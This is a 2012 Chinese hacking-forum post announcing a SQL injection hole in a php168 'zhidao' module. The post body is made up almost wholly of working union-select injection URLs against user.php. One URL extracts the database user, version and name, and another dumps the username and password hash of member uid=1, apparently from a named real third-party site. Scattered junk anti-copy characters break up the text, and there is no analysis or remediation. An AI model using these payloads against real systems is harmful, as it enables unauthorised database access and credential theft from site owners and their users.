找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2992|回复: 0
打印 上一主题 下一主题

php168某系统注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 08:52:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--- o% Z  U2 D5 F: r2 i" G2 ]) O$ `
                                                         
. |2 K$ K# v* l% q, E                                       $ I# v1 i8 E8 F8 x$ S: j
+ E, {. C" J" C! T# W6 [% }% n- w
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
3 X4 k9 j8 `7 Q6 x5 b( c                                                     
$ |8 K; [- |/ f2 t6 [. \                                                                   ( T5 S! G, }+ L4 C$ X0 [' O, g! A  x
                                                        
5 y& s+ U1 T, v7 L& Dhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
2 n' H) j  N0 Y/ P* N' @+ `9 \( }' N/ A# D  `

# ?2 f! v% O  B) c( ]. E* e! }3 N. s
                                                            , _* {% r* q' i7 \6 t+ j
2 O: `  j" l) s1 K0 \6 j% Y
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--& l1 m. ?4 j! Q# X; d1 ~

. t7 r2 |; N% _! Z; s
: [/ Y& @5 R. T2 g) C  S( i& |& v/ E9 k+ V, n% G; n! ?
                                                                    
  ^1 e9 K( a0 j6 r% b: P1 C

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表